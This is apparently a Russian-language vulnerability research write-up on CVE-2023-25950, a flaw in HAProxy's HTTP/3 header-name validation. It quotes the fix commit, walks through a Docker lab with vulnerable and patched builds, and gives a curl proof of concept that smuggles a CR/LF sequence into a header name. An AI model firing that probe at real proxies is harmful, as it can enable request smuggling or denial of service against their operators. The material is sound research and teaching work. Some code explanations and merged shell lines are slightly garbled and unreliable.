
HTTP3ONSTEROIDS - A research on CVE-2023-25950 where HAProxy's HTTP/3 implementation fails to block a malformed HTTP header field name.

Реализация HTTP/3 в HAProxy не блокирует некорректное имя поля HTTP-заголовка, и при развёртывании перед сервером, который неправильно обрабатывает такой некорректный заголовок, это может быть использовано для проведения атаки по подмене HTTP-запроса/ответа. Удалённый злоумышленник может изменить легитимный запрос пользователя. В результате злоумышленник может получить конфиденциальную информацию или вызвать состояние отказа в обслуживании (DoS).
https://jvn.jp/en/jp/JVN38170084/
Очень хороший подход перед началом любого исследования CVE — начать с чтения описания уязвимости, а затем проверить, доступны ли коммиты с исправлениями.
В моём случае коммит был доступен, и очевидно, что разработчики HAProxy забыли включить проверки, указанные в RFC 9114 4.1.2. Malformed Requests and Responses, во время разбора стандартных заголовков в реализации HTTP3.
См. коммит с исправлением ниже.
--- a/src/h3.c
+++ b/src/h3.c
@@ -352,7 +352,27 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
//struct ist scheme = IST_NULL, authority = IST_NULL;
struct ist authority = IST_NULL;
int hdr_idx, ret;
- int cookie = -1, last_cookie = -1;
+ int cookie = -1, last_cookie = -1, i;
+
+ /* RFC 9114 4.1.2. Malformed Requests and Responses
+ *
+ * A malformed request or response is one that is an otherwise valid
+ * sequence of frames but is invalid due to:
+ * - the presence of prohibited fields or pseudo-header fields,
+ * - the absence of mandatory pseudo-header fields,
+ * - invalid values for pseudo-header fields,
+ * - pseudo-header fields after fields,
+ * - an invalid sequence of HTTP messages,
+ * - the inclusion of uppercase field names, or
+ * - the inclusion of invalid characters in field names or values.
+ *
+ * [...]
+ *
+ * Intermediaries that process HTTP requests or responses (i.e., any
+ * intermediary not acting as a tunnel) MUST NOT forward a malformed
+ * request or response. Malformed requests or responses that are
+ * detected MUST be treated as a stream error of type H3_MESSAGE_ERROR.
+ */
TRACE_ENTER(H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
@@ -416,6 +436,14 @@ static ssize_t h3_headers_to_htx(struct qcs *qcs, const struct buffer *buf,
if (isteq(list[hdr_idx].n, ist("")))
break;
+ for (i = 0; i < list[hdr_idx].n.len; ++i) {
+ const char c = list[hdr_idx].n.ptr[i];
+ if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
+ TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME|H3_EV_RX_HDR, qcs->qcc->conn, qcs);
+ return -1;
+ }
+ }
+
if (isteq(list[hdr_idx].n, ist("cookie"))) {
http_cookie_register(list, hdr_idx, &cookie, &last_cookie);
continue;
Репозитории - haproxy-2.7.git/commit
Ниже представлен код, демонстрирующий отсутствие санитизации имён заголовков в реализации обработки стандартных заголовков в HAProxy 2.7.0.
/*
src/h3.c
строки: 413 - 428
*/
/* теперь обрабатываем стандартные заголовки */
hdr_idx = 0;
while (1) {
if (isteq(list[hdr_idx].n, ist("")))
break;
if (isteq(list[hdr_idx].n, ist("cookie"))) {
http_cookie_register(list, hdr_idx, & cookie, & last_cookie);
continue;
}
if (!istmatch(list[hdr_idx].n, ist(":")))
htx_add_header(htx, list[hdr_idx].n, list[hdr_idx].v);
++hdr_idx;
}
Ниже представлен код, используемый для проверки корректности имени заголовка.
Код начинается с цикла for, который проходит по каждому символу имени поля заголовка. Цикл выполняется от i = 0 до i < list[hdr_idx0.n.len], где list — массив или структура, содержащая информацию о заголовках, а hdr_idx — индекс, указывающий на конкретный проверяемый заголовок.
Внутри цикла код извлекает текущий символ c из имени поля заголовка.
list[hdr_idx].n.ptr[i] обращается к символу на позиции i в имени поля заголовка.
Следующая часть кода содержит оператор if. Он проверяет, удовлетворяет ли текущий символ c одному из двух условий:
(uint8_t)(c - 'A') < 'Z' - 'A': Это проверяет, является ли символ заглавной буквой (от A до Z), вычитая 'A' из c и приводя результат к uint8_t. Если результат меньше разницы между 'Z' и 'A', значит символ — заглавная буква.!HTTP_IS_TOKEN(c): Это условие проверяет, является ли символ допустимым токеном HTTP. HTTP_IS_TOKEN работает, сначала проверяя, содержит ли имя заголовка какие-либо токены. Токен — это последовательность символов, не являющихся зарезервированными символами в протоколе HTTP. Зарезервированные символы — это символы, имеющие специальное значение в протоколе HTTP, например, :, /, ? и #./*
src/h3.c
строки: 439 - 445
*/
for (i = 0; i < list[hdr_idx].n.len; ++i) {
const char c = list[hdr_idx].n.ptr[i];
if ((uint8_t)(c - 'A') < 'Z' - 'A' || !HTTP_IS_TOKEN(c)) {
TRACE_ERROR("invalid characters in field name", H3_EV_RX_FRAME | H3_EV_RX_HDR, qcs -> qcc -> conn, qcs);
return -1;
}
}
Вся лаборатория работает на Docker. Вы можете запустить её с помощью следующих команд:
cd /labdocker-compose up --buildОбратите внимание, что сборка Docker займёт 15-20 минут.
Однако перед запуском лаборатории необходимо внести некоторые изменения в конфигурацию:
/lab/haproxy/conf/haproxy.cfg
...
default_backend api_server
backend api_server
balance roundrobin
server api_server [YOUR-LOCAL-IPv4]:8080 # замените на локальный IPv4
/etc/hosts
[YOUR-LOCAL-IPv4] foo.com
/lab/docker-compose.yml
Вы можете выбрать между уязвимой и исправленной версией, изменив значение аргумента на 'vuln' или 'patched' для проведения теста.
...
args:
- haproxy_version=patched || vuln
...
и, наконец, импортируйте сертификат minica.crt в свой браузер.
⚠️ Пожалуйста, запускайте лабораторию в среде Linux.
Отправка следующего curl-запроса:
curl --http3 -H "foooooo\r\n: barr" -iL -k https://192.168.1.104/Ответ уязвимой версии:
HTTP/3 200
server: Werkzeug/2.3.6 Python/3.8.17
date: Sat, 12 Aug 2023 13:10:52 GMT
content-type: text/html; charset=utf-8
content-length: 76
alt-svc: h3=":443";ma=900;
Host: 192.168.1.104
User-Agent: curl/8.1.2-DEV
Accept: */*
Foooooo\R\N: barr <-- Некорректный заголовок
Ответ исправленной версии:
curl: (56) HTTP/3 stream 0 reset by server
На основе приведённых выше результатов соответствующие ответы показывают, что уязвимая версия HAProxy пропустила префикс \r\n к внутреннему серверу, тогда как исправленная версия разорвала соединение между клиентом и HAProxy.
Злоумышленник может провести атаку по подмене HTTP-запроса (HTTP Request Smuggling) в зависимости от поведения внутреннего сервера и того, как он обрабатывает некорректный заголовок. На мой взгляд, наибольшую опасность представляет то, что злоумышленник может использовать вышеупомянутую CVE для проведения атаки типа «отказ в обслуживании» (DoS).
https://jvn.jp/en/jp/JVN38170084/
https://github.com/haproxytechblog/haproxy-2.6-http3
https://www.haproxy.com/blog/how-to-enable-quic-load-balancing-on-haproxy
https://git.haproxy.org/
https://github.com/jsha/minica
https://curl.se/docs/http3.html